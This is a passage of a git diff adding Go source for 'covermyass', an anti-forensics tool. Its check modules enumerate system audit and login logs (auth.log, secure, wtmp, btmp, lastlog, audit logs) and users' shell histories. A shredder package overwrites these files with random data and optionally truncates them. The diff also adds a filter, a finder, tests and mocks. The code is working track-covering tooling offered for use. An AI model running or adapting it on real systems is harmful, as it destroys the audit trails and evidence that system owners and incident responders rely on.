0000000..b4114e2 --- /dev/null +++ b/lib/check/mail_check.go @@ -0,0 +1,24 @@ +//go:build !windows + +package check + +type mailCheck struct{} + +func NewMailCheck() Check { + return &mailCheck{} +} + +func (s *mailCheck) Name() string { + return "mail" +} + +func (s *mailCheck) Paths() []string { + return []string{ + "/usr/local/psa/var/log/maillog*", + "/var/log/maillog*", + } +} + +func init() { + AddCheck(NewMailCheck()) +} diff --git a/lib/check/shell_history_check.go b/lib/check/shell_history_check.go new file mode 100644 index 0000000..456171f --- /dev/null +++ b/lib/check/shell_history_check.go @@ -0,0 +1,35 @@ +package check + +import ( + "fmt" + "github.com/sirupsen/logrus" + "os" +) + +type shellHistoryCheck struct{} + +func NewShellHistoryCheck() Check { + return &shellHistoryCheck{} +} + +func (s *shellHistoryCheck) Name() string { + return "shell_history" +} + +func (s *shellHistoryCheck) Paths() []string { + homeDir, err := os.UserHomeDir() + if err != nil { + logrus.Error(err) + return []string{} + } + return []string{ + fmt.Sprintf("%s/.bash_history", homeDir), + fmt.Sprintf("%s/.zsh_history", homeDir), + fmt.Sprintf("%s/.node_repl_history", homeDir), + fmt.Sprintf("%s/.python_history", homeDir), + } +} + +func init() { + AddCheck(NewShellHistoryCheck()) +} diff --git a/lib/check/sshd_check.go b/lib/check/sshd_check.go new file mode 100644 index 0000000..0543b2e --- /dev/null +++ b/lib/check/sshd_check.go @@ -0,0 +1,23 @@ +//go:build !windows + +package check + +type sshdCheck struct{} + +func NewSSHdCheck() Check { + return &sshdCheck{} +} + +func (s *sshdCheck) Name() string { + return "sshd" +} + +func (s *sshdCheck) Paths() []string { + return []string{ + "/var/log/sshd.log", + } +} + +func init() { + AddCheck(NewSSHdCheck()) +} diff --git a/lib/check/system_check.go b/lib/check/system_check.go new file mode 100644 index 0000000..f7d0e68 --- /dev/null +++ b/lib/check/system_check.go @@ -0,0 +1,38 @@ +//go:build !windows + +package check + +type systemCheck struct{} + +func NewSystemCheck() Check { + return &systemCheck{} +} + +func (s *systemCheck) Name() string { + return "system" +} + +func (s *systemCheck) Paths() []string { + return []string{ + "/var/log/lastlog", + "/var/log/boot.log*", + "/var/log/auth.log*", + "/var/log/daemon.log*", + "/var/log/kern.log*", + "/var/log/boot.log*", + "/var/log/syslog*", + "/var/log/mail.log*", + "/var/log/messages*", + "/var/log/secure*", + "/var/log/btmp*", + "/var/log/utmp*", + "/var/log/wtmp*", + "/var/log/faillog", + "/var/log/audit/*.log*", + "/var/log/dmesg", + } +} + +func init() { + AddCheck(NewSystemCheck()) +} diff --git a/lib/filter/filter.go b/lib/filter/filter.go new file mode 100644 index 0000000..c108b5c --- /dev/null +++ b/lib/filter/filter.go @@ -0,0 +1,45 @@ +package filter + +import ( + "fmt" + "github.com/bmatcuk/doublestar/v4" + "github.com/sirupsen/logrus" +) + +type Filter interface { + Match(string) bool +} + +type Engine struct { + rules []string +} + +func NewEngine() *Engine { + return &Engine{} +} + +func (e *Engine) AddRule(patterns ...string) error { + for _, rule := range patterns { + if !doublestar.ValidatePathPattern(rule) { + return fmt.Errorf("invalid pattern: %s", rule) + } + } + e.rules = append(e.rules, patterns...) + return nil +} + +func (e *Engine) Match(r string) bool { + for _, rule := range e.rules { + if rule == r { + return true + } + ok, err := doublestar.PathMatch(rule, r) + if err != nil { + logrus.WithField("rule", rule).WithField("target", r).Error(err) + } + if ok { + return true + } + } + return false +} diff --git a/lib/filter/filter_test.go b/lib/filter/filter_test.go new file mode 100644 index 0000000..fa8906b --- /dev/null +++ b/lib/filter/filter_test.go @@ -0,0 +1,59 @@ +package filter + +import ( + "github.com/stretchr/testify/assert" + "testing" +) + +func TestFilter(t *testing.T) { + testcases := []struct { + name string + rules []string + paths map[string]bool + }{ + { + name: "test with simple patterns", + rules: []string{ + "/var/*", + "/foo/**/*", + "/bar/foo/1.log", + }, + paths: map[string]bool{ + "/var/log/lastlog": false, + "/var/test.log": true, + "/var/fakefile": true, + "/db/logfile.log": false, + "/foo/bar/1/logfile.log": true, + "/bar/foo/1.log": true, + "/var/**/*.log": false, + }, + }, + { + name: "test patterns against patterns", + rules: []string{ + "/var/*", + "/var/*/foo/**/*", + "/foo/**/*", + "/bar/foo/1.log", + }, + paths: map[string]bool{ + "/var/*.log": true, + "/var/**/*": false, + "/foo/*.log": true, + "/bar/foo/**/*.log": false, + }, + }, + } + + for _, tt := range testcases { + t.Run(tt.name, func(t *testing.T) { + f := NewEngine() + err := f.AddRule(tt.rules...) + assert.NoError(t, err) + + for path, shouldMatch := range tt.paths { + assert.Equal(t, shouldMatch, f.Match(path)) + } + }) + } +} diff --git a/lib/find/fileinfo.go b/lib/find/fileinfo.go new file mode 100644 index 0000000..b58eed9 --- /dev/null +++ b/lib/find/fileinfo.go @@ -0,0 +1,26 @@ +package find + +import ( + "io/fs" + "os" +) + +type FileInfo interface { + fs.FileInfo + Path() string + ReadOnly() bool +} + +type fileInfo struct { + fs.FileInfo + path string +} + +func (f *fileInfo) Path() string { + return f.path +} + +func (f *fileInfo) ReadOnly() bool { + _, err := os.OpenFile(f.path, os.O_RDWR, 0666) + return err != nil +} diff --git a/lib/find/finder.go b/lib/find/finder.go new file mode 100644 index 0000000..a31155c --- /dev/null +++ b/lib/find/finder.go @@ -0,0 +1,83 @@ +package find + +import ( + "context" + "fmt" + "github.com/bmatcuk/doublestar/v4" + "github.com/sirupsen/logrus" + "github.com/sundowndev/covermyass/v2/lib/filter" + "io/fs" + "os" + "path/filepath" + "strings" +) + +type Finder interface { + Run(context.Context, []string) ([]FileInfo, error) +} + +type finder struct { + fs fs.FS + filter filter.Filter +} + +func New(fsys fs.FS, filterEngine filter.Filter) Finder { + return &finder{ + fs: fsys, + filter: filterEngine, + } +} + +func (f *finder) Run(ctx context.Context, paths []string) ([]FileInfo, error) { + results := make([]FileInfo, 0) + + for _, pattern := range paths { + if len(pattern) == 0 { + logrus.Warn("pattern skipped because it has length of 0") + continue + } + + if !doublestar.ValidatePathPattern(pattern) { + return results, fmt.Errorf("pattern %s is not valid", pattern) + } + + if f.filter.Match(pattern) { + logrus.WithField("pattern", pattern).Debug("pattern ignored by filter") + continue + } + + var formattedPattern string + if strings.Split(pattern, "")[0] == string(os.PathSeparator) { + formattedPattern = strings.Join(strings.Split(pattern, "")[1:], "") + } + + // TODO(sundowndev): run this in a goroutine? + err := doublestar.GlobWalk(f.fs, filepath.ToSlash(formattedPattern), func(path string, d fs.DirEntry) error { + info, err := d.Info() + if err != nil { + return err + } + results = append(results, &fileInfo{ + FileInfo: info, + path: fmt.Sprintf("%s%s", string(os.PathSeparator), filepath.FromSlash(path)), + }) + return nil + }) + if err != nil { + logrus.WithField("pattern", filepath.ToSlash(formattedPattern)).Error(err) + } + } + return f.removeDuplicates(results), nil +} + +func (f *finder) removeDuplicates(results []FileInfo) []FileInfo { + resultsMap := make(map[string]FileInfo, 0) + for _, res := range results { + resultsMap[res.Path()] = res + } + resultsSlice := make([]FileInfo, 0) + for _, file := range resultsMap { + resultsSlice = append(resultsSlice, file) + } + return resultsSlice +} diff --git a/lib/find/finder_test.go b/lib/find/finder_test.go new file mode 100644 index 0000000..96940f0 --- /dev/null +++ b/lib/find/finder_test.go @@ -0,0 +1,7 @@ +package find + +import "testing" + +func TestFinder(t *testing.T) { + +} diff --git a/lib/output/printer.go b/lib/output/printer.go new file mode 100644 index 0000000..28042eb --- /dev/null +++ b/lib/output/printer.go @@ -0,0 +1,45 @@ +package output + +import ( + "fmt" + "os" +) + +type Printer interface { + Printf(string, ...interface{}) + Println(string) +} + +var globalPrinter Printer = &VoidPrinter{} + +func ChangePrinter(printer Printer) { + globalPrinter = printer +} + +func Printf(format string, args ...interface{}) { + globalPrinter.Printf(format, args...) +} + +func Println(format string) { + globalPrinter.Printf(format) +} + +type ConsolePrinter struct{} + +func NewConsolePrinter() Printer { + return &ConsolePrinter{} +} + +func (c *ConsolePrinter) Printf(format string, args ...interface{}) { + _, _ = fmt.Fprintf(os.Stdout, format, args...) +} + +func (c *ConsolePrinter) Println(format string) { + _, _ = fmt.Fprintln(os.Stdout, format) +} + +type VoidPrinter struct{} + +func (v *VoidPrinter) Printf(_ string, _ ...interface{}) {} + +func (v *VoidPrinter) Println(_ string) {} diff --git a/lib/shred/shred.go b/lib/shred/shred.go new file mode 100644 index 0000000..760160d --- /dev/null +++ b/lib/shred/shred.go @@ -0,0 +1,111 @@ +package shred + +import ( + "crypto/rand" + "fmt" + "io/fs" + "os" + "time" +) + +// A FileInfo describes a file and is returned by Stat. +type FileInfo interface { + Name() string // base name of the file + Size() int64 // length in bytes for regular files; system-dependent for others + Mode() fs.FileMode // file mode bits + ModTime() time.Time // modification time + IsDir() bool // abbreviation for Mode().IsDir() + Sys() any // underlying data source (can return nil) +} + +type File interface { + Seek(int64, int) (int64, error) + Sync() error + Write([]byte) (int, error) + Close() error +} + +type ShredderOptions struct { + Zero bool + Iterations int +} + +type Shredder struct { + options *ShredderOptions +} + +func New(opts *ShredderOptions) *Shredder { + return &Shredder{opts} +} + +func (s *Shredder) Write(pathName string) error { + // Stat the file for the file length + fstat, err := os.Stat(pathName) + if err != nil { + return fmt.Errorf("file stat failed: %w", err) + } + + // Open the file + file, err := os.OpenFile(pathName, os.O_WRONLY, fstat.Mode()) + if err != nil { + return fmt.Errorf("file opening failed: %w", err) + } + defer file.Close() + + err = s.shred(fstat, file) + if err != nil { + return fmt.Errorf("shredding failed: %w", err) + } + + if s.options.Zero { + if err := os.Truncate(pathName, 0); err != nil { + return fmt.Errorf("truncate failed: %w", err) + } + } + + return nil +} + +func (s *Shredder) shred(fstat FileInfo, file File) error { + fSize := fstat.Size() + + // Avoid shredding if the file is already empty + if fSize == 0 { + return nil + } + + // Write random bytes over the file 3 times + junkBuf := make([]byte, 1024) + for i := 0; i < s.options.Iterations; i++ { + _, err := file.Seek(0, 0) + if err != nil { + return err + } + for fSize = fstat.Size(); fSize > 1024; fSize -= 1024 { + // Load a buffer with random data + _, err = rand.Read(junkBuf) + if err != nil { + return err + } + // Write random bytes to file + _, err = file.Write(junkBuf) + if err != nil { + return err + } + } + _, err = rand.Read(junkBuf[:fSize]) + if err != nil { + return err + } + _, err = file.Write(junkBuf[:fSize]) + if err != nil { + return err + } + err = file.Sync() + if err != nil { + return err + } + } + + return nil +} diff --git a/lib/shred/shred_test.go b/lib/shred/shred_test.go new file mode 100644 index 0000000..ebede58 --- /dev/null +++ b/lib/shred/shred_test.go @@ -0,0 +1,130 @@ +package shred + +import ( + "errors" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/mock" + "github.com/sundowndev/covermyass/v2/mocks" + "testing" +) + +func TestShredder_Write(t *testing.T) { + cases := []struct { + name string + options ShredderOptions + input string + wantError error + }{ + { + name: "test with non-existing file", + input: "testdata/fake.log", + wantError: errors.New("file stat failed: stat testdata/fake.log: no such file or directory"), + }, + { + name: "test with non-file path", + input: "testdata/", + wantError: errors.New("file opening failed: open testdata/: is a directory"), + }, + } + + for _, tt := range cases { + t.Run(tt.name, func(t *testing.T) { + s := New(&tt.options) + + err := s.Write(tt.input) + if tt.wantError == nil { + assert.NoError(t, err) + } else { + assert.EqualError(t, err, tt.wantError.Error()) + } + }) + } +} + +func TestShredder_shred(t *testing.T) { + cases := []struct { + name string + options ShredderOptions + mocks func(*mocks.FileInfo, *mocks.File) + wantError error + }{ + { + name: "test writing empty file", + options: ShredderOptions{ + Zero: false, + Iterations: 3, + }, + mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { + fakeFileInfo.On("Size").Return(int64(0)).Times(1) + }, + }, + { + name: "test writing a 64 bytes file", + options: ShredderOptions{ + Zero: false, + Iterations: 3, + }, + mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { + fakeFileInfo.On("Size").Return(int64(64)).Times(4) + + fakeFile.On("Seek", int64(0), 0).Return(int64(0), nil).Times(3) + fakeFile.On("Sync").Return(nil).Times(3) + fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool { + return len(b) != 0 + })).Return(0, nil) + }, + }, + { + name: "test writing a 2Mb file with 10 iterations", + options: ShredderOptions{ + Zero: false, + Iterations: 10, + }, + mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { + fakeFileInfo.On("Size").Return(int64(2000000)).Times(11) + + fakeFile.On("Seek", int64(0), 0).Return(int64(0), nil).Times(10) + fakeFile.On("Sync").Return(nil).Times(10) + fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool { + return len(b) != 0 + })).Return(0, nil) + }, + }, + { + name: "test writing a 2Kb file with error", + options: ShredderOptions{ + Zero: false, + Iterations: 3, + }, + mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { + fakeFileInfo.On("Size").Return(int64(2000)).Times(2) + + fakeFile.On("Seek", int64(0), 0).Return(int64(0), nil).Times(1) + fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool { + return len(b) != 0 + })).Return(0, errors.New("dummy error")) + }, + wantError: errors.New("dummy error"), + }, + } + + for _, tt := range cases { + t.Run(tt.name, func(t *testing.T) { + s := New(&tt.options) + + fakeFileInfo := &mocks.FileInfo{} + fakeFile := &mocks.File{} + tt.mocks(fakeFileInfo, fakeFile) + + err := s.shred(fakeFileInfo, fakeFile) + if tt.wantError == nil { + assert.NoError(t, err) + } else { + assert.EqualError(t, err, tt.wantError.Error()) + } + + fakeFileInfo.AssertExpectations(t) + fakeFile.AssertExpectations(t) + }) + } +} diff --git a/lib/shred/testdata/.gitkeep b/lib/shred/testdata/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/logs/config.go b/logs/config.go new file mode 100644 index 0000000..b0bd609 --- /dev/null +++ b/logs/config.go @@ -0,0 +1,36 @@ +package logs + +import ( + "github.com/sirupsen/logrus" + "github.com/sundowndev/covermyass/v2/build" + "os" +) + +type Config struct { + Level logrus.Level + ReportCaller bool +} + +func Init() { + config := getConfig() + logrus.SetLevel(config.Level) + logrus.SetReportCaller(config.ReportCaller) +} + +func getConfig() Config { + config := Config{ + Level: logrus.WarnLevel, + ReportCaller: false, + } + + if !build.IsRelease() { + config.Level = logrus.DebugLevel + } + + if lvl := os.Getenv("LOG_LEVEL"); lvl != "" { + loglevel, _ := logrus.ParseLevel(lvl) + config.Level = loglevel + } + + return config +} diff --git a/main.go b/main.go new file mode 100644 index 0000000..7579cec --- /dev/null +++ b/main.go @@ -0,0 +1,25 @@ +package main + +import ( + "fmt" + "github.com/sirupsen/logrus" + "github.com/sundowndev/covermyass/v2/build" + "github.com/sundowndev/covermyass/v2/cmd" + "log" + "runtime" + + "github.com/sundowndev/covermyass/v2/logs" +) + +func main() { + logs.Init() + logrus.WithFields(logrus.Fields{ + "is_release": fmt.Sprintf("%t", build.IsRelease()), + "version": build.Name(), + "go_version": runtime.Version(), + }).Debug("Build info") + + if err := cmd.NewRootCmd().Execute(); err != nil { + log.Fatal(err) + } +} diff --git a/mocks/File.go b/mocks/File.go new file mode 100644 index 0000000..9a61657 --- /dev/null +++ b/mocks/File.go @@ -0,0 +1,95 @@ +// Code generated by mockery v2.14.0. DO NOT EDIT. + +package mocks + +import mock "github.com/stretchr/testify/mock" + +// File is an autogenerated mock type for the File type +type File struct { + mock.Mock +} + +// Close provides a mock function with given fields: +func (_m *File) Close() error { + ret := _m.Called() + + var r0 error + if rf, ok := ret.Get(0).(func() error); ok { + r0 = rf() + } else { + r0 = ret.Error(0) + } + + return r0 +} + +// Seek provides a mock function with given fields: _a0, _a1 +func (_m *File) Seek(_a0 int64, _a1 int) (int64, error) { + ret := _m.Called(_a0, _a1) + + var r0 int64 + if rf, ok := ret.Get(0).(func(int64, int) int64); ok { + r0 = rf(_a0, _a1) + } else { + r0 = ret.Get(0).(int64) + } + + var r1 error + if rf, ok := ret.Get(1).(func(int64, int) error); ok { + r1 = rf(_a0, _a1) + } else { + r1 = ret.Error(1) + } + + return r0, r1 +} + +// Sync provides a mock function with given fields: +func (_m *File) Sync() error { + ret := _m.Called() + + var r0 error + if rf, ok := ret.Get(0).(func() error); ok { + r0 = rf() + } else { + r0 = ret.Error(0) + } + + return r0 +} + +// Write provides a mock function with given fields: _a0 +func (_m *File) Write(_a0 []byte) (int, error) { + ret := _m.Called(_a0) + + var r0 int + if rf, ok := ret.Get(0).(func([]byte) int); ok { + r0 = rf(_a0) + } else { + r0 = ret.Get(0).(int) + } + + var r1 error + if rf, ok := ret.Get(1).(func([]byte) error); ok { + r1 = rf(_a0) + } else { + r1 = ret.Error(1) + } + + return r0, r1 +} + +type mockConstructorTestingTNewFile interface { + mock.TestingT + Cleanup(func()) +} + +// NewFile creates a new instance of File. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations. +func NewFile(t mockConstructorTestingTNewFile) *File { + mock := &File{} + mock.Mock.Test(t) + + t.Cleanup(func() { mock.AssertExpectations(t) }) + + return mock +} diff --git a/mocks/FileInfo.go b/mocks/FileInfo.go new file mode 100644 index 0000000..cea3e48 --- /dev/null +++ b/mocks/FileInfo.go @@ -0,0 +1,117 @@ +// Code generated by mockery v2.14.0. DO NOT EDIT. + +package mocks + +import ( + fs "io/fs" + + mock "github.com/stretchr/testify/mock" + + time "time" +) + +// FileInfo is an autogenerated mock type for the FileInfo type +type FileInfo struct { + mock.Mock +} + +// IsDir provides a mock function with given fields: +func (_m *FileInfo) IsDir() bool { + ret := _m.Called() + + var r0 bool + if rf, ok := ret.Get(0).(func() bool); ok { + r0 = rf() + } else { + r0 = ret.Get(0).(bool) + } + + return r0 +} + +// ModTime provides a mock function with given fields: +func (_m *FileInfo) ModTime() time.Time { + ret := _m.Called() + + var r0 time.Time + if rf, ok := ret.Get(0).(func() time.Time); ok { + r0 = rf() + } else { + r0 = ret.Get(0).(time.Time) + } + + return r0 +} + +// Mode provides a mock function with given fields: +func (_m *FileInfo) Mode() fs.FileMode { + ret := _m.Called() + + var r0 fs.FileMode + if rf, ok := ret.Get(0).(func() fs.FileMode); ok { + r0 = rf() + } else { + r0 = ret.Get(0).(fs.FileMode) + } + + return r0 +} + +// Name provides a mock function with given fields: +func (_m *FileInfo) Name() string { + ret := _m.Called() + + var r0 string + if rf, ok := ret.Get(0).(func() string); ok { + r0 = rf() + } else { + r0 = ret.Get(0).(string) + } + + return r0 +} + +// Size provides a mock function with given fields: +func (_m *FileInfo) Size() int64 { + ret := _m.Called() + + var r0 int64 + if rf, ok := ret.Get(0).(func() int64); ok { + r0 = rf() + } else { + r0 = ret.Get(0).(int64) + } + + return r0 +} + +// Sys provides a mock function with given fields: +func (_m *FileInfo) Sys() interface{} { + ret := _m.Called() + + var r0 interface{} + if rf, ok := ret.Get(0).(func() interface{}); ok { + r0 = rf() + } else { + if ret.Get(0) != nil { + r0 = ret.Get(0).(interface{}) + } + } + + return r0 +} + +type mockConstructorTestingTNewFileInfo interface { + mock.TestingT + Cleanup(func()) +} + +// NewFileInfo creates a new instance of FileInfo. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations. +func NewFileInfo(t mockConstructorTestingTNewFileInfo) *FileInfo { + mock := &FileInfo{} + mock.Mock.Test(t) + + t.Cleanup(func() { mock.AssertExpectations(t) }) + + return mock +}